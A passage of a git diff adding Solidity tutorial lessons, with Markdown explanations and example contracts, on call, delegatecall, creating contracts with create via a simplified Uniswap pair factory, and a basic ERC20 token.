success, bytes memory data) = _addr.call( + abi.encodeWithSignature("getX()") + ); + + emit Response(success, data); //emit event + return abi.decode(data, (uint256)); +} +``` +From the log of `Response` event, we see `data` is `0x0000000000000000000000000000000000000000000000000000000000000005`. After decoding with `abi.decode`, the final return value is `5`. + +![22-2](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/22_Call_en/step1/img/22-2.png) + +**4. Call undeclared function** + +If we try to call functions that are not present in `OtherContract` with `call`, the `fallback` function will be executed. + +```solidity +function callNonExist(address _addr) external{ + // call getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("foo(uint256)") + ); + + emit Response(success, data); //emit event +} +``` + +In this example, we try to call `foo` which is not declared with `call`, the transaction will still succeed and return `success`, but the actual function executed was the `fallback` function. + +![22-3](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/22_Call_en/step1/img/22-3.png) + +## Summary + +In this tutorial, we talked about how to interact with other contracts using the low-level function `call`. For security reasons, `call` is not a recommended method, but it's useful when we don't know the source code and `ABI` of the target contract. + diff --git a/SolidityBasics_Part2_Advanced/step8/Delegatecall.sol b/SolidityBasics_Part2_Advanced/step8/Delegatecall.sol new file mode 100644 index 000000000..a92e14b6f --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step8/Delegatecall.sol @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// delegatecall is similar to call, is a low level function +// call: B call C, the execution context is C (msg.sender = B, the state variables of C are affected) +// delegatecall: B delegatecall C, the execution context is B (msg.sender = A, the state variables of B are affeted) +// be noted the data storage layout of B and C must be the same! Variable type, the order needs to remain same, otherwise the contract will be screwed up. + +// target contract C +contract C { + uint public num; + address public sender; + + function setVars(uint _num) public payable { + num = _num; + sender = msg.sender; + } +} + +// contract B which uses both call and delegatecall to call contract C +contract B { + uint public num; + address public sender; + + // call setVars() of C with call, the state variables of contract C will be changed + function callSetVars(address _addr, uint _num) external payable{ + // call setVars() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } + // call setVars() with delegatecall, the state variables of contract B will be changed + function delegatecallSetVars(address _addr, uint _num) external payable{ + // delegatecall setVars() + (bool success, bytes memory data) = _addr.delegatecall( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } +} diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-1.png b/SolidityBasics_Part2_Advanced/step8/img/23-1.png new file mode 100644 index 000000000..1d5b315c1 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-2.png b/SolidityBasics_Part2_Advanced/step8/img/23-2.png new file mode 100644 index 000000000..fca4e5ee5 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-3.png b/SolidityBasics_Part2_Advanced/step8/img/23-3.png new file mode 100644 index 000000000..d15eba470 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-4.png b/SolidityBasics_Part2_Advanced/step8/img/23-4.png new file mode 100644 index 000000000..3e8bb3016 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-4.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-5.png b/SolidityBasics_Part2_Advanced/step8/img/23-5.png new file mode 100644 index 000000000..34dcd6328 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-5.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-6.png b/SolidityBasics_Part2_Advanced/step8/img/23-6.png new file mode 100644 index 000000000..0e1b56d36 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-6.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/img/23-7.png b/SolidityBasics_Part2_Advanced/step8/img/23-7.png new file mode 100644 index 000000000..7c416c0f0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step8/img/23-7.png differ diff --git a/SolidityBasics_Part2_Advanced/step8/step1.md b/SolidityBasics_Part2_Advanced/step8/step1.md new file mode 100644 index 000000000..b6d0edf24 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step8/step1.md @@ -0,0 +1,139 @@ +--- +title: 23. Delegatecall +tags: + - solidity + - advanced + - wtfacademy + - call contract + - delegatecall +--- + +# WTF Solidity Tutorial: 23. Delegatecall + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +----- + +## `delegatecall` +`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` means entrust/represent, so what does `delegatecall` entrust? + +When user `A` `call` contract `C` via contract `B`, the executed functions are from contract `C`, and the `execution context` (the environment including state and variable) is in contract `C`: `msg.sender` is contract `B`'s address, and if state variables are changed due to function call, the affected state variables are in contract `C`. + +![execution context of call](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-1.png) + +And when user `A` `delegatecall` contract `C` via contract `B`, the executed functions are from contract `C`, the `execution context` is in contract `B`: `msg.sender` is user `A`'s address, and if state variables are changed due to function call, the affected state variables are in contract `B`. + +![execution context of delegatecall](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-2.png) + +You can understand it like this: a `rich businessman` entrusts his asset (`state variables`) to a `VC` (functions of target contract) for management. The executed functions are from the `VC`, but the state variables get changed from the `businessman`. + +The syntax of `delegatecall` is similar to `call`: + +``` +targetContractAddress.delegatecall(binary code); +``` + +the `binary code` is generated by `abi.encodeWithSignature`: + +```solidity +abi.encodeWithSignature("function signature", parameters separated by comma) +``` +`function signature` is `"functionName(parameters separated by comma)"`. For example, `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 + +Unlike `call`, `delegatecall` can specify the value of `gas` when calling a smart contract, but the value of `ETH` can't be specified. + +> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target contract is same, and target contract is safe, otherwise could cause loss of funds. + +## `delegatecall` use cases? +Currently, there are 2 major use cases for delegatecall: + +1. `Proxy Contract`: separating the storage part and logic part of smart contract: `proxy contract` is used to store all related variables, and also store the address of logic contract; all functions are stored in the `logic contract`, and called via delegatecall. When upgrading, you only need to redirect `proxy contract` to a new `logic contract`. +2. EIP-2535 Diamonds: Diamond is a standard that supports building modular smart contract systems that can scale in production. Diamond is a proxy contract with multiple implementation contracts. For more information, check [Introduction to EIP-2535 Diamonds](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard). + +## `delegatecall` example +Call mechanism: you (`A`) call contract `C` via contract `B`. + +### Target Contract C +First, we create a target contract `C` with 2 `public` variables: `num` and `sender` which are `uint256` and `address` respectively; and a function which sets `num` based on `_num`, and set `sender` as `msg.sender`. + +```solidity +// Target contract C +contract C { + uint public num; + address public sender; + + function setVars(uint _num) public payable { + num = _num; + sender = msg.sender; + } +} +``` +### Call Initialization Contract B +First, contract `B` must have the same state variable layout as target contract `C`, 2 variables and the order is `num` and `sender`. + +```solidity +contract B { + uint public num; + address public sender; +``` + +Next, we use `call` and `delegatecall` respectively to call `setVars` from contract `C`, so we can understand the difference better. + +The function `callSetVars` calls `setVars` via `call`. callSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`. + +```solidity + // Calling setVars() of contract C with call, the state variables of contract C will be changed + function callSetVars(address _addr, uint _num) external payable{ + // call setVars() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } +``` + +While function `delegatecallSetVars` calls `setVars` via `delegatecall`. Similar to `callSetVars`, delegatecallSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`. + +```solidity + // Calling setVars() of contract C with delegatecall, the state variables of contract B will be changed + function delegatecallSetVars(address _addr, uint _num) external payable{ + // delegatecall setVars() + (bool success, bytes memory data) = _addr.delegatecall( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } +} +``` + +### Verify on Remix +1. First we deploy Contract B and contract C + +![deploy.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-3.png) + + +2. After deployment, check the initial value of state variables in contract `C`, also the initial value of state variables in contract `B`. + +![initialstate.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-4.png) + +3. Next, call `callSetVars` in contract `B` with arguments of contract `C`'s address and `10` + +![call.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-5.png) + +4. After execution, the state variables in contract `C` are changed: `num` is changed to 10, `sender` is changed to contract B's address + +![resultcall.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-6.png) + + +5. Next, we call `delegatecallsetVars` in contract `B` with arguments of contract `C`'s address and `100` + +![delegatecall.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-7.png) + +6. Because of `delegatecall`, the execution context is contract `B`. After execution, the state variables of contract `B` are changed: `num` is changed to 100, `sender` is changed to your wallet's address. The state variables of contract `C` are unchanged. + +![resultdelegatecall.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/23_Delegatecall_en/step1/img/23-8.png) + +## Summary +In this lecture, we introduce another low-level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference between `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall are `proxy contract` and `EIP-2535 Diamonds`. + diff --git a/SolidityBasics_Part2_Advanced/step9/Create.sol b/SolidityBasics_Part2_Advanced/step9/Create.sol new file mode 100644 index 000000000..7aca8b372 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step9/Create.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Pair{ + address public factory; // factory contract address + address public token0; // token1 + address public token1; // token2 + + constructor() payable { + factory = msg.sender; + } + + // called once by the factory at time of deployment + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check + token0 = _token0; + token1 = _token1; + } +} + +contract PairFactory{ + mapping(address => mapping(address => address)) public getPair; // get Pair's address based on 2 tokens' addresses + address[] public allPairs; // store all Pairs' addresses + + function createPair(address tokenA, address tokenB) external returns (address pairAddr) { + // create a new contract + Pair pair = new Pair(); + // call initialized method of the new contract + pair.initialize(tokenA, tokenB); + // update getPair and allPairs + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} diff --git a/SolidityBasics_Part2_Advanced/step9/img/24-1.png b/SolidityBasics_Part2_Advanced/step9/img/24-1.png new file mode 100644 index 000000000..abcf063d0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step9/img/24-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step9/img/24-2.png b/SolidityBasics_Part2_Advanced/step9/img/24-2.png new file mode 100644 index 000000000..2c7489455 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step9/img/24-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step9/img/24-3.png b/SolidityBasics_Part2_Advanced/step9/img/24-3.png new file mode 100644 index 000000000..2bcc7dbd0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step9/img/24-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step9/step1.md b/SolidityBasics_Part2_Advanced/step9/step1.md new file mode 100644 index 000000000..eb9c1126d --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step9/step1.md @@ -0,0 +1,118 @@ +--- +title: 24. Create +tags: + - solidity + - advanced + - wtfacademy + - create contract +--- + +# WTF Solidity Tutorial: 24. Creating a new smart contract in an existing smart contract + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +----- + +On Ethereum, the user (Externally-owned account, `EOA`) can create smart contracts, and a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplified version of `Uniswap`. + +## `create` and `create2` +There are two ways to create a new contract in an existing contract, `create` and `create2`, this lecture will introduce `create`, next lecture will introduce `create2`. + +The usage of `create` is very simple, creating a contract with `new` keyword, and passing the arguments required by the constructor of the new smart contract: + +```solidity +Contract x = new Contract{value: _value}(params) +``` + +`Contract` is the name of the smart contract to be created, `x` is the smart contract object (address), and if the constructor is `payable`, the creator can transfer `_value` `ETH` to the new smart contract, `params` are the parameters of the constructor of the new smart contract. + +## Simplified Uniswap +The core smart contracts of `Uniswap V2` include 2 smart contracts: + +1. UniswapV2Pair: Pair contract, used to manage token addresses, liquidity, and swap. +2. UniswapV2Factory: Factory contract, used to create new Pair contracts, and manage Pair address. + +Below we will implement a simplified `Uniswap` with `create`: `Pair` contract is used to manage token addresses, `PairFactory` contract is used to create new Pair contracts and manage Pair addresses. + +### `Pair` contract + +```solidity +contract Pair{ + address public factory; // factory contract address + address public token0; // token1 + address public token1; // token2 + + constructor() payable { + factory = msg.sender; + } + + // called once by the factory at time of deployment + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check + token0 = _token0; + token1 = _token1; + } +} +``` +`Pair` contract is very simple, including 3 state variables: `factory`, `token0` and `token1`. + +The `constructor` assigns the Factory contract's address to `factory` at the time of deployment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair. + +> **Ask**: Why doesn't `Uniswap` set the addresses of `token0` and `token1` in the `constructor`? +> +> **Answer**: Because `Uniswap` uses `create2` to create new smart contracts, parameters are not allowed in the constructor when using create2. When using `create`, it is allowed to have parameters in `Pair` contract, and you can set the addresses of `token0` and `token1` in the `constructor`. + +### `PairFactory` +```solidity +contract PairFactory{ + mapping(address => mapping(address => address)) public getPair; // get Pair's address based on 2 tokens' addresses + address[] public allPairs; // store all Pair addresses + + function createPair(address tokenA, address tokenB) external returns (address pairAddr) { + // create a new contract + Pair pair = new Pair(); + // call initialize function of the new contract + pair.initialize(tokenA, tokenB); + // update getPair and allPairs + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} +``` +Factory contract (`PairFactory`) has 2 state variables, `getPair` is a map of 2 token addresses and Pair contract address, and is used to find `Pair` contract address based on 2 token addresses. `allPairs` is an array of Pair contract addresses, which is used to store all Pair contract addresses. + +There's only one function in `PairFactory`, `createPair`, which creates a new `Pair` contract based on 2 token addresses `tokenA` and `tokenB.` + +```solidity +Pair pair = new Pair(); +``` + +The above code is used to create a new smart contract, very straightforward. You can deploy `PairFactory` contract first, then call `createPair` with the following 2 addresses as arguments, and find out what is the address of the new `Pair` contract. + +```solidity +WBNB address: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 +PEOPLE address on BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +``` + +### Verify on Remix + +1. Call `createPair` with the arguments of the addresses of `WBNB` and `PEOPLE`, we will have the address of `Pair` contract: 0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/24_Create_en/step1/img/24-1.png) + +2. Check the state variables of `Pair` contract + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/24_Create_en/step1/img/24-2.png) + +3. Use debug to check `create` opcode + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/24_Create_en/step1/img/24-3.png) + +## Summary +In this lecture, we introduce how to create a new smart contract in an existing smart contract with `create` method by using a simplified version of `Uniswap`, in the next lecture we will introduce how to implement a simplified `Uniswap` with `create2`. + diff --git a/SolidityBasics_Part3_Applications/config.yml b/SolidityBasics_Part3_Applications/config.yml new file mode 100644 index 000000000..e4377b02c --- /dev/null +++ b/SolidityBasics_Part3_Applications/config.yml @@ -0,0 +1,55 @@ +id: solidity-basics-part3 +name: Solidity Basics - Part 3 - Applications & Standards (Lessons 31-53) +summary: 'Build real-world Solidity applications: ERC20, ERC721, ERC1155 tokens, NFT auctions, Merkle trees, digital signatures, WETH, payment splitting, token vesting, timelocks, proxy patterns, upgradeable contracts, multisig wallets, ERC4626 vaults, EIP712 signatures, and ERC20 Permit.' +level: 2 +tags: + - solidity + - applications + - token-standards +steps: + - name: 31. ERC20 + path: step1 + - name: 32. Token Faucet + path: step2 + - name: 33. Airdrop Contract + path: step3 + - name: 34. ERC721 + path: step4 + - name: 35. Dutch Auction + path: step5 + - name: 36. Merkle Tree + path: step6 + - name: 37. Digital Signature + path: step7 + - name: 38. NFT Exchange + path: step8 + - name: 39. Chainlink Randomness + path: step9 + - name: 40. ERC1155 + path: step10 + - name: 41. WETH + path: step11 + - name: 42. Payment Splitting + path: step12 + - name: 43. Linear Release + path: step13 + - name: 44. Token Lock + path: step14 + - name: 45. Time Lock + path: step15 + - name: 46. Proxy Contract + path: step16 + - name: 47. Upgradeable Contract + path: step17 + - name: 48. Transparent Proxy + path: step18 + - name: 49. UUPS + path: step19 + - name: 50. Multisignature Wallet + path: step20 + - name: 51. ERC4626 Tokenization of Vault Standard + path: step21 + - name: 52. EIP712 Typed Data Signature + path: step22 + - name: 53. ERC-2612 ERC20Permit + path: step23 diff --git a/SolidityBasics_Part3_Applications/readme.md b/SolidityBasics_Part3_Applications/readme.md new file mode 100644 index 000000000..1ad49e4f9 --- /dev/null +++ b/SolidityBasics_Part3_Applications/readme.md @@ -0,0 +1,3 @@ +# Solidity Basics - Part 3: Applications & Standards + +This tutorial aggregates lessons 31-53 covering real-world applications and token standards. diff --git a/SolidityBasics_Part3_Applications/step1/ERC20.sol b/SolidityBasics_Part3_Applications/step1/ERC20.sol new file mode 100644 index 000000000..92459aa89 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step1/ERC20.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +import "./IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // total supply of the token + + string public name; // the name of the token + string public symbol; // the symbol of the token + + uint8 public decimals = 18; // decimal places of the token + + // @dev Sets the values for name and symbol during deployment. + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implements the `transfer` function, which handles token transfers logic. + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implements `approve` function, which handles token authorization logic. + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implements `transferFrom` function,which handles token authorized transfer logic. + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Creates tokens, transfers `amouont` of tokens from `0` address to caller's address. + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destroys tokens,transfers `amouont` of tokens from caller's address to `0` address. + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} diff --git a/SolidityBasics_Part3_Applications/step1/IERC20.sol b/SolidityBasics_Part3_Applications/step1/IERC20.sol new file mode 100644 index 000000000..76efbf286 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step1/IERC20.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev ERC20 interface contract. + */ +interface IERC20 { + /** + * @dev Triggered when `value` tokens are transferred from `from` to `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Triggered whenever `value` tokens are approved by `owner` to be spent by `spender`. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Returns the total amount of tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transfers `amount` tokens from the caller's account to the recipient `to`. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits a {Transfer} event. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Returns the amount authorized by the `owner` account to the `spender` account, default is 0. + * + * When {approve} or {transferFrom} is invoked,`allowance` will be changed. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Allows `spender` to spend `amount` tokens from caller's account. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfer `amount` of tokens from `from` account to `to` account, subject to the caller's allowance. + * The caller must have allowance for `from` account balance. + * + * Returns `true` if the operation is successful. + * + * Emits a {Transfer} event. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step1/img/31-1.png b/SolidityBasics_Part3_Applications/step1/img/31-1.png new file mode 100644 index 000000000..f805499ad Binary files /dev/null and b/SolidityBasics_Part3_Applications/step1/img/31-1.png differ diff --git a/SolidityBasics_Part3_Applications/step1/img/31-2.png b/SolidityBasics_Part3_Applications/step1/img/31-2.png new file mode 100644 index 000000000..ba6892b5c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step1/img/31-2.png differ diff --git a/SolidityBasics_Part3_Applications/step1/img/31-3.png b/SolidityBasics_Part3_Applications/step1/img/31-3.png new file mode 100644 index 000000000..83db58d86 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step1/img/31-3.png differ diff --git a/SolidityBasics_Part3_Applications/step1/step1.md b/SolidityBasics_Part3_Applications/step1/step1.md new file mode 100644 index 000000000..d171513a2 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step1/step1.md @@ -0,0 +1,245 @@ +--- +title: 31. ERC20 +tags: + - solidity + - application + - wtfacademy + - ERC20 + - OpenZeppelin +--- + +# WTF Solidity Quick Start: 31. ERC20 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we will introduce the ERC20 token standard on Ethereum and issue our test tokens. + +## ERC20 + +ERC20 is a token standard on Ethereum, which originated from the `EIP20` proposed by Vitalik Buterin in November 2015. It implements the basic logic of token transfer: + +- Account balance +- Transfer +- Approve transfer +- Total token supply +- Token Information (optional): name, symbol, decimal + +## IERC20 +`IERC20` is the interface contract of the `ERC20` token standard, which specifies the functions and events that `ERC20` tokens need to implement. The reason for defining an interface is that with the standard, there are universal function names and input and output parameters for all `ERC20` tokens. In the interface functions, only the function name, input parameters, and output parameters need to be defined, and it does not matter how the function is implemented internally. Therefore, the functions are divided into two contents: internal implementation and external interface, focusing on the implementation and agreement of shared data between interfaces. This is why we need two files `ERC20.sol` and `IERC20.sol` to implement a contract. + +### Event + +The `IERC20` defines `2` events: the `Transfer` event and the `Approval` event, which are emitted during token transfers and approvals, respectively. + +```solidity + /** + * @dev Triggered when `value` tokens are transferred from `from` to `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Triggered whenever `value` tokens are approved by `owner` to be spent by `spender`. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +``` + +### Functions +`IERC20` defines `6` functions, providing basic functionalities for transferring tokens, and allowing tokens to be approved for use by other third parties on the chain. + +- `totalSupply()` returns the total token supply. + +```solidity + /** + * @dev Returns the total amount of tokens. + */ + function totalSupply() external view returns (uint256); +``` + +`balanceOf()` returns the account balance. + +```solidity + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); +``` + +- `transfer()` means transfer of funds. + +```solidity + /** + * @dev Transfers `amount` tokens from the caller's account to the recipient `to`. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits a {Transfer} event. + */ + function transfer(address to, uint256 amount) external returns (bool); +``` + +The `allowance()` function returns the authorized amount. + +```solidity + /** + * @dev Returns the amount authorized by the `owner` account to the `spender` account, default is 0. + * + * When {approve} or {transferFrom} is invoked,`allowance` will be changed. + */ + function allowance(address owner, address spender) external view returns (uint256); +``` + +- `approve()` Authorization + +```solidity +/** + * @dev Allows `spender` to spend `amount` tokens from caller's account. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits an {Approval} event. + */ +function approve(address spender, uint256 amount) external returns (bool); +``` + +- `transferFrom()` authorized transfer. + +```solidity +/** + * @dev Transfer `amount` of tokens from `from` account to `to` account, subject to the caller's + * allowance. The caller must have allowance for `from` account balance. + * + * Returns `true` if the operation is successful. + * + * Emits a {Transfer} event. + */ +function transferFrom( + address from, + address to, + uint256 amount +) external returns (bool); +``` + +## Implementation of ERC20 + +Now we will write an `ERC20` contract and implement the functions defined in the `IERC20` interface. + +### State Variables +We need state variables to record account balances, allowances, and token information. Among them, `balanceOf`, `allowance`, and `totalSupply` are of type `public`, which will automatically generate a same-name `getter` function, implementing `balanceOf()`, `allowance()` and `totalSupply()` functions defined in `IERC20`. `name`, `symbol`, and `decimals` correspond to the name, symbol, and decimal places of tokens. + +**Note**: adding `override` modifier to `public` variables will override the same-name `getter` function inherited from the parent contract, such as `balanceOf()` function in `IERC20`. + +```solidity + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // total supply of the token + + string public name; // the name of the token + string public symbol; // the symbol of the token + + uint8 public decimals = 18; // decimal places of the token +``` + +### Functions +- Constructor Function: Initializes the token name and symbol. + +```solidity + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } +``` + +- `transfer()` function: Implements the `transfer` function in `IERC20`, which handles token transfers. The caller deducts `amount` tokens and the recipient receives the corresponding tokens. Some coins will modify this function to include logic such as taxation, dividends, lottery, etc. + +```solidity + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } +``` + +- `approve()` function: Implements the `approve` function in `IERC20`, which handles token authorization logic. The `spender` specified in the function can spend the authorized `amount` of tokens from the authorizer. The `spender` can be an EOA account or a contract account, for example, when you trade tokens on `Uniswap`, you need to authorize tokens to the `Uniswap` contract. + +```solidity + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } +``` + +- `transferFrom()` function: Implements the `transferFrom` function in `IERC20`, which is the logic for authorized transfer. The authorized party transfers `amount` of tokens from `sender` to `recipient`. + +```solidity + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } +``` + +- `mint()` function: Token minting function, not included in the `IERC20` standard. For the sake of the tutorial, anyone can mint any amount of tokens. In actual applications, permission management will be added, and only the `owner` can mint tokens. + +```solidity + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } +``` + +- `burn()` function: Function to destroy tokens, not included in the `IERC20` standard. + +```solidity + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } +``` + +## Issuing ERC20 Tokens + +With the `ERC20` standard in place, it is very easy to issue tokens on the `ETH` chain. Now, let's issue our first token. + +Compile the `ERC20` contract in `Remix`, enter the constructor's parameters in the deployment section, set `name_` and `symbol_` to `WTF`, and then click the `transact` button to deploy. + +![Deploying the contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/31_ERC20_en/step1/img/31-1.png) + +Now, we have created the `WTF` token. We need to run the `mint()` function to mint some tokens for ourselves. Open up the `ERC20` contract in the `Deployed Contract` section, enter `100` in the `mint` function area, and click the `mint` button to mint `100` `WTF` tokens for ourselves. + +You can click on the Debug button on the right to 